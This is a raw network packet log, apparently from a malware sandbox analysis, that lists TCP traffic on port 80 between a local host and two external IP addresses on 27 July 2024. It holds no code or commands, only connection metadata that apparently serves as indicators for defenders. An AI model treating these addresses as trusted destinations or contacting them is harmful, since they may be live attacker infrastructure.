Jul 27, 2024 05:39:16.943404913 CEST	49483	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:16.966234922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.966295004 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.966435909 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.966459036 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.966473103 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.966487885 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.966504097 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.966516972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.966532946 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.966547966 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.966562986 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.966577053 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.966592073 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.966593027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.966593027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.966593027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.966593027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.966593027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.966593027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.966593027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.966593027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.966604948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.966608047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.966624022 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.966628075 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.966639996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.966659069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.966686964 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.000372887 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.000412941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.000430107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.000461102 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.000468969 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.000497103 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.000498056 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.000507116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.000529051 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.000536919 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.000545025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.000560045 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.000560999 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.000576019 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.000580072 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.000595093 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.000598907 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.000613928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.000616074 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.000627995 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.000636101 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.000646114 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.000655890 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.000673056 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.000691891 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.008997917 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009012938 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009027004 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009047985 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009062052 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009066105 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009088993 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009100914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009109974 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009114981 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009135008 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009159088 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009192944 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009196997 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009206057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009213924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009253025 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009262085 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009289026 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009313107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009330988 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009336948 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009351969 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009352922 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009376049 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009376049 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009387016 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009392977 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009408951 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009418011 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009424925 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009433031 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009443045 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009443998 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009459972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009465933 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009478092 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009500980 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009516954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009531975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009546041 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009557962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009562016 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009571075 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009577990 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009592056 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009607077 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009608030 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009632111 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009644985 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009660959 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009676933 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009690046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009702921 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009715080 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009727001 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009790897 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009808064 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009824038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009831905 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009841919 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009845972 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009857893 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009884119 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.009924889 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.009968042 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.010005951 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.010029078 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.010044098 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.010045052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.010060072 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.010071039 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.010076046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.010090113 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.010109901 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.010128975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.010132074 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.010145903 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.010163069 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.010169029 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.010179043 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.010186911 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.010204077 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.010205984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.010215044 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.010221004 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.010236025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.010243893 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.010251999 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.010256052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.010267973 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.010276079 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.010288954 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.010308027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.250523090 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.253302097 CEST	49483	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:17.253598928 CEST	49484	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:17.255433083 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.258353949 CEST	80	49484	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:17.258408070 CEST	80	49483	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:17.258414030 CEST	49484	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:17.258454084 CEST	49483	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:17.258560896 CEST	49484	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:17.263369083 CEST	80	49484	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:17.432331085 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432358027 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432398081 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432399988 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432413101 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432430029 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432430983 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432440996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432446003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432457924 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432461023 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432473898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432476044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432496071 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432501078 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432509899 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432514906 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432529926 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432544947 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432544947 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432559013 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432566881 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432575941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432580948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432590961 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432595015 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432607889 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432619095 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432627916 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432636976 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432645082 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432658911 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432670116 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432698965 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432760954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432775974 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432790041 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432801008 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432805061 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432821035 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432822943 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432836056 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432846069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432851076 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432866096 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432872057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432893991 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432909966 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432924986 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432930946 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432950974 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432960033 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432966948 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432981968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.432992935 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.432997942 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433012009 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433012962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433027983 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433037043 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433043003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433056116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433062077 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433070898 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433084011 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433085918 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433099985 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433109999 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433135986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433521986 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433553934 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433566093 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433569908 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433585882 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433593035 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433603048 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433609962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433619022 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433619022 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433636904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433640003 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433651924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433656931 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433667898 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433670998 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433686018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433691025 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433702946 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433706045 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433718920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433727026 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433738947 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433743000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433756113 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433758974 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433770895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433785915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433845997 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433861017 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433876038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433883905 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433891058 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433898926 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433901072 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433929920 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433929920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433945894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433959961 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433965921 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433975935 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.433994055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.433998108 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434007883 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434014082 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434029102 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434032917 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434043884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434051037 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434061050 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434063911 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434079885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434093952 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434279919 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434294939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434318066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434331894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434427023 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434448957 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434462070 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434463024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434478998 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434483051 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434494972 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434497118 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434519053 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434523106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434534073 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434540987 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434550047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434552908 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434565067 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434567928 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434581041 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434586048 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434597015 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434603930 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434613943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434619904 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434628963 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434634924 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434645891 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434650898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434662104 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434668064 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434679031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434681892 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434696913 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434700012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434710979 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434853077 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434866905 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434876919 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434883118 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434884071 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434900045 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434906960 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434916973 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434921980 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434937000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434943914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434952021 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:17.434961081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434973955 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.434987068 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:17.435051918 CEST	80	49477	85.28.47.31	192.168.2.4
